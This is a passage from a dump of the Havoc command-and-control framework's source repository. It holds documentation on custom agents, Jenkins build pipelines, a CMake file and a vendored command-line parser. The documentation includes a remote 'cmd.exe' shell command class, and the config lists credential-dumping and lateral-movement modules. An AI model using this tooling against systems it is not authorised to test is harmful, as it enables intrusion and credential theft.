`<teamserver-host>:<teamserver-port>/service-endpoint` that is authenticated with `service-password`. \n\n\n## <a name=\"ca\"></a>Custom Agents\n\nUsing Havoc's Service API, custom, third-party agents can be written to interact with the teamserver using the intermediate Python API.\n\nAn example of a third-party agent is provided here: [https://github.com/HavocFramework/Talon](https://github.com/HavocFramework/Talon)\n\n`Talon.py` connects to the Teamserver over the `Endpoint` defined in the `Service` directive of the teamserver profile.\n\n```python\nfrom havoc.service import HavocService\nfrom havoc.agent import *\n\nclass MyCustomAgent(AgentType):\n    # ...\n    pass\n\nagent = MyCustomAgent()\n\nhavoc_service = HavocService(\n    endpoint=\"ws://0.0.0.0:40056/service-endpoint\",\n    password=\"service-password\"\n)\n\nhavoc_service.register_agent(agent)\n```\n\nCustom commands can be defined using the Python API and extending the Command class:\n\n```python\nclass CommandShell(Command):\n    CommandId = COMMAND_SHELL\n    Name = \"shell\"\n    Description = \"executes commands using cmd.exe\"\n    Help = \"\"\n    NeedAdmin = False\n    Params = [\n        CommandParam(\n            name=\"commands\",\n            is_file_path=False,\n            is_optional=False\n        )\n    ]\n    Mitr = []\n\n    def job_generate( self, arguments: dict ) -> bytes:        \n        Task = Packer()\n\n        Task.add_int( self.CommandId )\n        Task.add_data( \"c:\\windows\\system32\\cmd.exe /c \" + arguments[ 'commands' ] )\n\n        return Task.buffer\n```\n\n---\n\n## <a name=\"pyapi\"></a>Python API\n\n\n[https://github.com/HavocFramework/havoc-py](https://github.com/HavocFramework/havoc-py)\n\n---\n\n## <a name=\"modules\"></a>Modules\n\nAside from Havoc's built-in commands, Modules can be loaded into the framework to add more functionality.\n\nAn example of some of Havoc's official modules can be found at this repository:\n\n[https://github.com/HavocFramework/Modules](https://github.com/HavocFramework/Modules)\n\n\nModule Template: [https://github.com/HavocFramework/Modules/tree/main/Template](https://github.com/HavocFramework/Modules/tree/main/Template)\n\n\nOfficial Modules:\n- Powerpick\n    - Executes unmanaged PowerShell commands by loading the CLR runtime (`4.0.30319`) into the designated fork & run process.\n- InvokeAssembly\n    - Executes a dotnet assembly into a separate process by bootsrapping the CLR into the designated fork & run process and passing the arguments.\n    - The dotnet version can be specified in the arguments (`v4.0.30319` is default), as well as the AppDomain name (`DefaultAppDomain` is default).\n\n\n---\n\n## <a name=\"faq\"></a>FAQ\n\n### Why does Havoc not perform sleep obfuscation when jobs are running?\nJobs are ran in their own threads, and sleep obfuscation requires that all threads are suspended in order to encrypt the heap, otherwise the process would crash. \n\n---\n\n"
  },
  {
    "path": "assets/Havoc-Client.groovy",
    "content": "pipeline {\n    agent any\n\n    environment {\n        TEST=\"ENV vars go here\"\n        TOOLNAME=\"HavocFramework\"\n    }\n\n    stages{\n        stage('Cleanup'){\n            steps{\n                deleteDir()\n                dir(\"${TOOLNAME}\"){\n                      deleteDir()\n                }\n            }\n        }\n\n//Local\n//        stage('Add-Havoc'){\n//                steps{\n//                        sh \"pwd && ls\"\n//                        sh \"cp -R /Build/* ${WORKSPACE}/\"\n//                }\n//        }\n\n//Remote\n      stage('Git Havoc'){\n              steps{\n                        sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git'\n                }\n        }\n\n        stage('Build-1-make clean'){\n                steps{\n                        sh \"cd ./Havoc/Client/ && make clean\"\n                }\n        }\n\n        stage('Build-2-make build dir'){\n                steps{\n                        sh \"mkdir cd ./Havoc/Client/Build && cd ./Havoc/Client/Build && cmake ..\"\n                }\n        }\n        stage('Build-3-make Build'){\n                steps{\n                        sh \"cd ./Havoc/Client/ && cmake --build Build\"\n                }\n        }\n\n        stage('Sanity-Check'){\n                steps{\n                        sh 'file ./Havoc/Client/Havoc'\n                }\n        }\n\n    }\n}\n\n"
  },
  {
    "path": "assets/Havoc-Teamserver.groovy",
    "content": "pipeline {\n    agent any\n\n    environment {\n        TEST=\"ENV vars go here\"\n        TOOLNAME=\"HavocFramework\"\n    }\n\n    stages{\n        stage('Cleanup'){\n            steps{\n                deleteDir()\n                dir(\"${TOOLNAME}\"){\n                      deleteDir()\n                }\n            }\n        }\n\n//Local\n//        stage('Add-Havoc'){\n//                steps{\n//                      sh \"pwd && ls\"\n//                      sh \"cp -R /Build/* ${WORKSPACE}/\"\n//                }\n//        }\n\n//Remote\n        stage('Git Havoc'){\n                steps{\n                        sh 'git clone --single-branch --branch main https://github.com/HavocFramework/Havoc.git'\n                }\n        }\n\n        stage('Install-MUSL C compiler'){\n                steps{\n                        sh \"pwd && ls\"\n                        sh \"cd ./Havoc/Teamserver/ && chmod +x ./Install.sh && ./Install.sh\"\n                }\n        }\n\n        stage('Build'){\n                steps{\n                        sh \"pwd && ls\"\n                        sh \"cd ./Havoc/Teamserver/ && make\"\n                }\n        }\n\n        stage('Sanity-Check'){\n                steps{\n                        sh 'file ./Havoc/Teamserver/teamserver'\n                }\n        }\n\n    }\n}\n"
  },
  {
    "path": "client/CMakeLists.txt",
    "content": "cmake_minimum_required( VERSION 3.15 )\nproject( Havoc )\n\n##\n## cmake sets\n##\nset( QT_VERSION 5 )\nset( CMAKE_CXX_STANDARD 20 )\nset( CMAKE_AUTOMOC ON )\nset( CMAKE_AUTORCC ON )\nset( CMAKE_AUTOUIC ON )\nset( CMAKE_CPP_COMPILER /usr/bin/x86_64-w64-mingw32-g++ )\nset( CMAKE_C_COMPILER /usr/bin/x86_64-w64-mingw32-gcc )\nset( CMAKE_CXX_FLAGS \"-fpermissive\" )\nset( REQUIRED_LIBS Core Gui Widgets Network WebSockets Sql )\nset( REQUIRED_LIBS_QUALIFIED Qt5::Core Qt5::Gui Qt5::Widgets Qt5::Network Qt5::WebSockets Qt5::Sql )\nset( APP_ICON_RESOURCE_WINDOWS \"data/Havoc.qrc\" )\nset( CMAKE_RUNTIME_OUTPUT_DIRECTORY .. )\nset( CMAKE_INCLUDE_CURRENT_DIR ON )\n\n##\n## Ensure 3.10 is used if present.\n## If not, modules will not work within the client.\n##\nset( Python_ADDITIONAL_VERSIONS 3.10 )\n\n##\n## import includes and external libraries\n##\ninclude_directories( include  )\ninclude_directories( external/spdlog/include )\ninclude_directories( external/json/include )\ninclude_directories( external/toml )\n\n##\n## find qt packages\n##\nfind_package( Qt${QT_VERSION} COMPONENTS ${REQUIRED_LIBS} REQUIRED )\n\n##\n## apple support\n##\nif(APPLE)\n  find_package( Python 3 COMPONENTS Interpreter Development REQUIRED )\n  set( PYTHON_MAJOR $ENV{Python_VERSION_MAJOR} )\n  set( PYTHON_MINOR $ENV{Python_VERSION_MINOR} )\n  set( PYTHONLIBS_VERSION_STRING ${Python_VERSION} )\n  set( PYTHON_INCLUDE_DIR ${Python_INCLUDE_DIRS} )\n  set( PYTHON_LIBRARIES ${Python_LIBRARIES} )\n  message( \"Apple - Using Python:${Python_VERSION_MAJOR} - Libraries:${PYTHON_LIBRARIES} - includeDirs: ${PYTHON_INCLUDE_DIR}\" )\nelseif(UNIX)\n  find_package( PythonLibs 3 REQUIRED )\nelse()\n  set( PYTHONLIBS_VERSION_STRING $ENV{PY_VERSION} )\nendif()\n\n\n\nif(APPLE)\n    execute_process( COMMAND brew --prefix OUTPUT_VARIABLE BREW_PREFIX ) #this because brew install location differs Intel/Apple Silicon macs\n    string( STRIP ${BREW_PREFIX} BREW_PREFIX ) #for some reason this happens: https://gitlab.kitware.com/cmake/cmake/-/issues/22404\n    include_directories( \"${BREW_PREFIX}/bin/python3.10\" )\n    include_directories( \"${BREW_PREFIX}/Frameworks/Python.framework/Headers\" )\nelseif(UNIX)\n    include_directories( ${PYTHON_INCLUDE_DIRS} )\nendif()\n\nset( HAVOC_INCLUDE\n\n        # Misc\n        include/Havoc/Connector.hpp\n        include/Havoc/DBManager/DBManager.hpp\n        include/Havoc/DemonCmdDispatch.h\n        include/Havoc/Packager.hpp\n        include/Havoc/Havoc.hpp\n        include/Havoc/Service.hpp\n        include/Havoc/CmdLine.hpp\n\n        # Python Api\n        include/Havoc/PythonApi/PythonApi.h\n        include/Havoc/PythonApi/Event.h\n        include/Havoc/PythonApi/HavocUi.h\n        include/Havoc/PythonApi/PyAgentClass.hpp\n        include/Havoc/PythonApi/UI/PyDialogClass.hpp\n        include/Havoc/PythonApi/UI/PyLoggerClass.hpp\n        include/Havoc/PythonApi/UI/PyTreeClass.hpp\n        include/Havoc/PythonApi/UI/PyWidgetClass.hpp\n\n        # Dialogs\n        include/UserInterface/Dialogs/Payload.hpp\n        include/UserInterface/Dialogs/About.hpp\n        include/UserInterface/Dialogs/Connect.hpp\n        include/UserInterface/Dialogs/Listener.hpp\n\n        # small widgets\n        include/UserInterface/SmallWidgets/EventViewer.hpp\n        include/UserInterface/SmallWidgets/EventViewer.hpp\n\n        # widgets\n        include/UserInterface/Widgets/Chat.hpp\n        include/UserInterface/Widgets/DemonInteracted.h\n        include/UserInterface/Widgets/ListenerTable.hpp\n        include/UserInterface/Widgets/ProcessList.hpp\n        include/UserInterface/Widgets/PythonScript.hpp\n        include/UserInterface/Widgets/SessionTable.hpp\n        include/UserInterface/Widgets/SessionGraph.hpp\n        include/UserInterface/Widgets/TeamserverTabSession.h\n        include/UserInterface/Widgets/ScriptManager.h\n        include/UserInterface/Widgets/LootWidget.h\n        include/UserInterface/Widgets/FileBrowser.hpp\n        include/UserInterface/Widgets/Teamserver.hpp\n        include/UserInterface/Widgets/Store.hpp\n\n        include/UserInterface/HavocUI.hpp\n)\n\n# src for UI\nset(\n        HAVOC_UI\n\n        src/UserInterface/HavocUi.cc\n        src/global.cc\n\n        # Dialogs\n        src/UserInterface/Dialogs/About.cc\n        src/UserInterface/Dialogs/Connect.cc\n        src/UserInterface/Dialogs/Listener.cc\n        src/UserInterface/Dialogs/Payload.cc\n\n        # Widgets\n        src/UserInterface/Widgets/SessionTable.cc\n        src/UserInterface/Widgets/SessionGraph.cc\n        src/UserInterface/Widgets/Chat.cc\n        src/UserInterface/Widgets/ListenersTable.cc\n        src/UserInterface/Widgets/DemonInteracted.cc\n        src/UserInterface/Widgets/TeamserverTabSession.cc\n        src/UserInterface/Widgets/PythonScript.cc\n        src/UserInterface/Widgets/ScriptManager.cc\n        src/UserInterface/Widgets/LootWidget.cc\n        src/UserInterface/Widgets/FileBrowser.cc\n        src/UserInterface/Widgets/Teamserver.cc\n        src/UserInterface/Widgets/Store.cc\n        src/UserInterface/Widgets/ProcessList.cc\n\n        # SmallWidgets\n        src/UserInterface/SmallWidgets/EventViewer.cc\n)\n\nset(\n        HAVOC_UTIL\n\n        src/Util/ColorText.cpp\n        src/Util/Base64.cpp\n        src/Util/Base.cpp\n)\n\n# src for Havoc\nset( HAVOC_SOURCE\n        src/Main.cc\n\n        src/Havoc/Packager.cc\n        src/Havoc/Connector.cc\n        src/Havoc/Service.cc\n\n        src/Havoc/DBManger/DBManager.cc\n        src/Havoc/DBManger/Teamserver.cc\n        src/Havoc/DBManger/Scripts.cc\n\n        src/Havoc/Demon/ConsoleInput.cc\n        src/Havoc/Demon/CommandSend.cc\n        src/Havoc/Demon/CommandOutput.cc\n        src/Havoc/Demon/Commands.cc\n\n        src/Havoc/PythonApi/PythonApi.cc\n        src/Havoc/PythonApi/Havoc.cc\n        src/Havoc/PythonApi/HavocUi.cc\n        src/Havoc/PythonApi/UI/PyDialogClass.cc\n        src/Havoc/PythonApi/UI/PyLoggerClass.cc\n        src/Havoc/PythonApi/UI/PyTreeClass.cc\n        src/Havoc/PythonApi/UI/PyWidgetClass.cc\n        src/Havoc/PythonApi/PyDemonClass.cc\n        src/Havoc/PythonApi/Event.cc\n        src/Havoc/PythonApi/PyAgentClass.cc\n\n        src/Havoc/Havoc.cc\n\n    ${HAVOC_UI}\n)\n\nadd_executable( ${PROJECT_NAME} ${HAVOC_INCLUDE} ${HAVOC_SOURCE} ${HAVOC_UTIL} ${APP_ICON_RESOURCE_WINDOWS} data/Havoc.rc )\nadd_definitions( -DQT_NO_DEBUG_OUTPUT )\n\ntarget_link_libraries(\n    ${PROJECT_NAME}\n    ${REQUIRED_LIBS_QUALIFIED}\n    ${PYTHON_LIBRARIES}\n    # spdlog::spdlog\n    # spdlog::spdlog_header_only\n)\n"
  },
  {
    "path": "client/README.md",
    "content": "# Havoc Teamserver Client\n\nHavoc Gui Client source code."
  },
  {
    "path": "client/config.toml",
    "content": "[font]\nsize   = 9\nfamily = \"Monospace\"\n\n[scripts]\nfiles = [\n  \"client/Modules/Packer/packer.py\",\n  \"client/Modules/InvokeAssembly/invokeassembly.py\",\n  \"client/Modules/PowerPick/powerpick.py\",\n  \"client/Modules/SituationalAwareness/SituationalAwareness.py\",\n  \"client/Modules/Delegation/delegation.py\",\n  \"client/Modules/RemoteOps/RemoteOps.py\",\n  \"client/Modules/Domaininfo/Domaininfo.py\",\n  \"client/Modules/Jump-exec/ScShell/scshell.py\",\n  \"client/Modules/Jump-exec/Psexec/psexec.py\",\n  \"client/Modules/Jump-exec/WMI/wmi.py\",\n  \"client/Modules/nanodump/nanodump.py\",\n  \"client/Modules/nanorobeus/nanorobeus.py\",\n  \"client/Modules/Bofbelt/bofbelt.py\",\n  \"client/Modules/SamDump/samdump.py\",\n  \"client/Modules/NoConsolation/no-consolation.py\"\n]\n"
  },
  {
    "path": "client/include/External.h",
    "content": "#ifndef HAVOC_EXTERNAL_H\n#define HAVOC_EXTERNAL_H\n\n#include <nlohmann/json.hpp>\n#include <spdlog/spdlog.h>\n#include <toml.hpp>\n\nusing json = nlohmann::json;\n\n#endif //HAVOC_EXTERNAL_H\n"
  },
  {
    "path": "client/include/Havoc/CmdLine.hpp",
    "content": "/*\n  Copyright (c) 2009, Hideyuki Tanaka\n  All rights reserved.\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n  * Redistributions of source code must retain the above copyright\n  notice, this list of conditions and the following disclaimer.\n  * Redistributions in binary form must reproduce the above copyright\n  notice, this list of conditions and the following disclaimer in the\n  documentation and/or other materials provided with the distribution.\n  * Neither the name of the <organization> nor the\n  names of its contributors may be used to endorse or promote products\n  derived from this software without specific prior written permission.\n  THIS SOFTWARE IS PROVIDED BY <copyright holder> ''AS IS'' AND ANY\n  EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n  DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\n  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#pragma once\n\n#include <iostream>\n#include <sstream>\n#include <vector>\n#include <map>\n#include <string>\n#include <stdexcept>\n#include <typeinfo>\n#include <cstring>\n#include <algorithm>\n#include <cxxabi.h>\n#include <cstdlib>\n\nnamespace cmdline{\n\n    namespace detail{\n\n        template <typename Target, typename Source, bool Same>\n        class lexical_cast_t{\n        public:\n            static Target cast(const Source &arg){\n                Target ret;\n                std::stringstream ss;\n                if (!(ss<<arg && ss>>ret && ss.eof()))\n                    throw std::bad_cast();\n\n                return ret;\n            }\n        };\n\n        template <typename Target, typename Source>\n        class lexical_cast_t<Target, Source, true>{\n        public:\n            static Target cast(const Source &arg){\n                return arg;\n            }\n        };\n\n        template <typename Source>\n        class lexical_cast_t<std::string, Source, false>{\n        public:\n            static std::string cast(const Source &arg){\n                std::ostringstream ss;\n                ss<<arg;\n                return ss.str();\n            }\n        };\n\n        template <typename Target>\n        class lexical_cast_t<Target, std::string, false>{\n        public:\n            static Target cast(const std::string &arg){\n                Target ret;\n                std::istringstream ss(arg);\n                if (!(ss>>ret && ss.eof()))\n                    throw std::bad_cast();\n                return ret;\n            }\n        };\n\n        template <typename T1, typename T2>\n        struct is_same {\n            static const bool value = false;\n        };\n\n        template <typename T>\n        struct is_same<T, T>{\n            static const bool value = true;\n        };\n\n        template<typename Target, typename Source>\n        Target lexical_cast(const Source &arg)\n        {\n            return lexical_cast_t<Target, Source, detail::is_same<Target, Source>::value>::cast(arg);\n        }\n\n        static inline std::string demangle(const std::string &name)\n        {\n            int status=0;\n            char *p=abi::__cxa_demangle(name.c_str(), 0, 0, &status);\n            std::string ret(p);\n            free(p);\n            return ret;\n        }\n\n        template <class T>\n        std::string readable_typename()\n        {\n            return demangle(typeid(T).name());\n        }\n\n        template <class T>\n        std::string default_value(T def)\n        {\n            return detail::lexical_cast<std::string>(def);\n        }\n\n        template <>\n        inline std::string readable_typename<std::string>()\n        {\n            return \"string\";\n        }\n\n    } // detail\n\n//-----\n\n    class cmdline_error : public std::exception {\n    public:\n        cmdline_error(const std::string &msg): msg(msg){}\n        ~cmdline_error() throw() {}\n        const char *what() const throw() { return msg.c_str(); }\n    private:\n        std::string msg;\n    };\n\n    template <class T>\n    struct default_reader{\n        T operator()(const std::string &str){\n            return detail::lexical_cast<T>(str);\n        }\n    };\n\n    template <class T>\n    struct range_reader{\n        range_reader(const T &low, const T &high): low(low), high(high) {}\n        T operator()(const std::string &s) const {\n            T ret=default_reader<T>()(s);\n            if (!(ret>=low && ret<=high)) throw cmdline::cmdline_error(\"range_error\");\n            return ret;\n        }\n    private:\n        T low, high;\n    };\n\n    template <class T>\n    range_reader<T> range(const T &low, const T &high)\n    {\n        return range_reader<T>(low, high);\n    }\n\n    template <class T>\n    struct oneof_reader{\n        T operator()(const std::string &s){\n            T ret=default_reader<T>()(s);\n            if (std::find(alt.begin(), alt.end(), ret)==alt.end())\n                throw cmdline_error(\"\");\n            return ret;\n        }\n        void add(const T &v){ alt.push_back(v); }\n    private:\n        std::vector<T> alt;\n    };\n\n    template <class T>\n    oneof_reader<T> oneof(T a1)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        ret.add(a6);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        ret.add(a6);\n        ret.add(a7);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        ret.add(a6);\n        ret.add(a7);\n        ret.add(a8);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        ret.add(a6);\n        ret.add(a7);\n        ret.add(a8);\n        ret.add(a9);\n        return ret;\n    }\n\n    template <class T>\n    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9, T a10)\n    {\n        oneof_reader<T> ret;\n        ret.add(a1);\n        ret.add(a2);\n        ret.add(a3);\n        ret.add(a4);\n        ret.add(a5);\n        ret.add(a6);\n        ret.add(a7);\n        ret.add(a8);\n        ret.add(a9);\n        ret.add(a10);\n        return ret;\n    }\n\n//-----\n\n    class parser{\n    public:\n        parser(){\n        }\n        ~parser(){\n            for (std::map<std::string, option_base*>::iterator p=options.begin();\n                 p!=options.end(); p++)\n                delete p->second;\n        }\n\n        void add(const std::string &name,\n                 char short_name=0,\n                 const std::string &desc=\"\"){\n            if (options.count(name)) throw cmdline_error(\"multiple definition: \"+name);\n            options[name]=new option_without_value(name, short_name, desc);\n            ordered.push_back(options[name]);\n        }\n\n        template <class T>\n        void add(const std::string &name,\n                 char short_name=0,\n                 const std::string &desc=\"\",\n                 bool need=true,\n                 const T def=T()){\n            add(name, short_name, desc, need, def, default_reader<T>());\n        }\n\n        template <class T, class F>\n        void add(const std::string &name,\n                 char short_name=0,\n                 const std::string &desc=\"\",\n                 bool need=true,\n                 const T def=T(),\n                 F reader=F()){\n            if (options.count(name)) throw cmdline_error(\"multiple definition: \"+name);\n            options[name]=new option_with_value_with_reader<T, F>(name, short_name, need, def, desc, reader);\n            ordered.push_back(options[name]);\n        }\n\n        void footer(const std::string &f){\n            ftr=f;\n        }\n\n        void set_program_name(const std::string &name){\n            prog_name=name;\n        }\n\n        bool exist(const std::string &name) const {\n            if (options.count(name)==0) throw cmdline_error(\"there is no flag: --\"+name);\n            return options.find(name)->second->has_set();\n        }\n\n        template <class T>\n        const T &get(const std::string &name) const {\n            if (options.count(name)==0) throw cmdline_error(\"there is no flag: --\"+name);\n            const option_with_value<T> *p=dynamic_cast<const option_with_value<T>*>(options.find(name)->second);\n            if (p==NULL) throw cmdline_error(\"type mismatch flag '\"+name+\"'\");\n            return p->get();\n        }\n\n        const std::vector<std::string> &rest() const {\n            return others;\n        }\n\n        bool parse(const std::string &arg){\n            std::vector<std::string> args;\n\n            std::string buf;\n            bool in_quote=false;\n            for (std::string::size_type i=0; i<arg.length(); i++){\n                if (arg[i]=='\\\"'){\n                    in_quote=!in_quote;\n                    continue;\n                }\n\n                if (arg[i]==' ' && !in_quote){\n                    args.push_back(buf);\n                    buf=\"\";\n                    continue;\n                }\n\n                if (arg[i]=='\\\\'){\n                    i++;\n                    if (i>=arg.length()){\n                        errors.push_back(\"unexpected occurrence of '\\\\' at end of string\");\n                        return false;\n                    }\n                }\n\n                buf+=arg[i];\n            }\n\n            if (in_quote){\n                errors.push_back(\"quote is not closed\");\n                return false;\n            }\n\n            if (buf.length()>0)\n                args.push_back(buf);\n\n            for (size_t i=0; i<args.size(); i++)\n                std::cout<<\"\\\"\"<<args[i]<<\"\\\"\"<<std::endl;\n\n            return parse(args);\n        }\n\n        bool parse(const std::vector<std::string> &args){\n            int argc=static_cast<int>(args.size());\n            std::vector<const char*> argv(argc);\n\n            for (int i=0; i<argc; i++)\n                argv[i]=args[i].c_str();\n\n            return parse(argc, &argv[0]);\n        }\n\n        bool parse(int argc, const char * const argv[]){\n            errors.clear();\n            others.clear();\n\n            if (argc<1){\n                errors.push_back(\"argument number must be longer than 0\");\n                return false;\n            }\n            if (prog_name==\"\")\n                prog_name=argv[0];\n\n            std::map<char, std::string> lookup;\n            for (std::map<std::string, option_base*>::iterator p=options.begin();\n                 p!=options.end(); p++){\n                if (p->first.length()==0) continue;\n                char initial=p->second->short_name();\n                if (initial){\n                    if (lookup.count(initial)>0){\n                        lookup[initial]=\"\";\n                        errors.push_back(std::string(\"short option '\")+initial+\"' is ambiguous\");\n                        return false;\n                    }\n                    else lookup[initial]=p->first;\n                }\n            }\n\n            for (int i=1; i<argc; i++){\n                if (strncmp(argv[i], \"--\", 2)==0){\n                    const char *p=strchr(argv[i]+2, '=');\n                    if (p){\n                        std::string name(argv[i]+2, p);\n                        std::string val(p+1);\n                        set_option(name, val);\n                    }\n                    else{\n                        std::string name(argv[i]+2);\n                        if (options.count(name)==0){\n                            errors.push_back(\"undefined option: --\"+name);\n                            continue;\n                        }\n                        if (options[name]->has_value()){\n                            if (i+1>=argc){\n                                errors.push_back(\"option needs value: --\"+name);\n                                continue;\n                            }\n                            else{\n                                i++;\n                                set_option(name, argv[i]);\n                            }\n                        }\n                        else{\n                            set_option(name);\n                        }\n                    }\n                }\n                else if (strncmp(argv[i], \"-\", 1)==0){\n                    if (!argv[i][1]) continue;\n                    char last=argv[i][1];\n                    for (int j=2; argv[i][j]; j++){\n                        last=argv[i][j];\n                        if (lookup.count(argv[i][j-1])==0){\n                            errors.push_back(std::string(\"undefined short option: -\")+argv[i][j-1]);\n                            continue;\n                        }\n                        if (lookup[argv[i][j-1]]==\"\"){\n                            errors.push_back(std::string(\"ambiguous short option: -\")+argv[i][j-1]);\n                            continue;\n                        }\n                        set_option(lookup[argv[i][j-1]]);\n                    }\n\n                    if (lookup.count(last)==0){\n                        errors.push_back(std::string(\"undefined short option: -\")+last);\n                        continue;\n                    }\n                    if (lookup[last]==\"\"){\n                        errors.push_back(std::string(\"ambiguous short option: -\")+last);\n                        continue;\n                    }\n\n                    if (i+1<argc && options[lookup[last]]->has_value()){\n                        set_option(lookup[last], argv[i+1]);\n                        i++;\n                    }\n                    else{\n                        set_option(lookup[last]);\n                    }\n                }\n                else{\n                    others.push_back(argv[i]);\n                }\n            }\n\n            for (std::map<std::string, option_base*>::iterator p=options.begin();\n                 p!=options.end(); p++)\n                if (!p->second->valid())\n                    errors.push_back(\"need option: --\"+std::string(p->first));\n\n            return errors.size()==0;\n        }\n\n        void parse_check(const std::string &arg){\n            if (!options.count(\"help\"))\n                add(\"help\", '?', \"print this message\");\n            check(0, parse(arg));\n        }\n\n        void parse_check(const std::vector<std::string> &args){\n            if (!options.count(\"help\"))\n                add(\"help\", '?', \"print this message\");\n            check(args.size(), parse(args));\n        }\n\n        void parse_check(int argc, char *argv[]){\n            if (!options.count(\"help\"))\n                add(\"help\", '?', \"print this message\");\n            check(argc, parse(argc, argv));\n        }\n\n        std::string error() const{\n            return errors.size()>0?errors[0]:\"\";\n        }\n\n        std::string error_full() const{\n            std::ostringstream oss;\n            for (size_t i=0; i<errors.size(); i++)\n                oss<<errors[i]<<std::endl;\n            return oss.str();\n        }\n\n        std::string usage() const {\n            std::ostringstream oss;\n            oss<<\"usage: \"<<prog_name<<\" \";\n            for (size_t i=0; i<ordered.size(); i++){\n                if (ordered[i]->must())\n                    oss<<ordered[i]->short_description()<<\" \";\n            }\n\n            oss<<\"[options] ... \"<<ftr<<std::endl;\n            oss<<\"options:\"<<std::endl;\n\n            size_t max_width=0;\n            for (size_t i=0; i<ordered.size(); i++){\n                max_width=std::max(max_width, ordered[i]->name().length());\n            }\n            for (size_t i=0; i<ordered.size(); i++){\n                if (ordered[i]->short_name()){\n                    oss<<\"  -\"<<ordered[i]->short_name()<<\", \";\n                }\n                else{\n                    oss<<\"      \";\n                }\n\n                oss<<\"--\"<<ordered[i]->name();\n                for (size_t j=ordered[i]->name().length(); j<max_width+4; j++)\n                    oss<<' ';\n                oss<<ordered[i]->description()<<std::endl;\n            }\n            return oss.str();\n        }\n\n    private:\n\n        void check(int argc, bool ok){\n            if ((argc==1 && !ok) || exist(\"help\")){\n                std::cerr<<usage();\n                exit(0);\n            }\n\n            if (!ok){\n                std::cerr<<error()<<std::endl<<usage();\n                exit(1);\n            }\n        }\n\n        void set_option(const std::string &name){\n            if (options.count(name)==0){\n                errors.push_back(\"undefined option: --\"+name);\n                return;\n            }\n            if (!options[name]->set()){\n                errors.push_back(\"option needs value: --\"+name);\n                return;\n            }\n        }\n\n        void set_option(const std::string &name, const std::string &value){\n            if (options.count(name)==0){\n                errors.push_back(\"undefined option: --\"+name);\n                return;\n            }\n            if (!options[name]->set(value)){\n                errors.push_back(\"option value is invalid: --\"+name+\"=\"+value);\n                return;\n            }\n        }\n\n        class option_base{\n        public:\n            virtual ~option_base(){}\n\n            virtual bool has_value() const=0;\n            virtual bool set()=0;\n            virtual bool set(const std::string &value)=0;\n            virtual bool has_set() const=0;\n            virtual bool valid() const=0;\n            virtual bool must() const=0;\n\n            virtual const std::string &name() const=0;\n            virtual char short_name() const=0;\n            virtual const std::string &description() const=0;\n            virtual std::string short_description() const=0;\n        };\n\n        class option_without_value : public option_base {\n        public:\n            option_without_value(const std::string &name,\n                                 char short_name,\n                                 const std::string &desc)\n                    :nam(name), snam(short_name), desc(desc), has(false){\n            }\n            ~option_without_value(){}\n\n            bool has_value() const { return false; }\n\n            bool set(){\n                has=true;\n                return true;\n            }\n\n            bool set(const std::string &){\n                return false;\n            }\n\n            bool has_set() const {\n                return has;\n            }\n\n            bool valid() const{\n                return true;\n            }\n\n            bool must() const{\n                return false;\n            }\n\n            const std::string &name() const{\n                return nam;\n            }\n\n            char short_name() const{\n                return snam;\n            }\n\n            const std::string &description() const {\n                return desc;\n            }\n\n            std::string short_description() const{\n                return \"--\"+nam;\n            }\n\n        private:\n            std::string nam;\n            char snam;\n            std::string desc;\n            bool has;\n        };\n\n        template <class T>\n        class option_with_value : public option_base {\n        public:\n            option_with_value(const std::string &name,\n                              char short_name,\n                              bool need,\n                              const T &def,\n                              const std::string 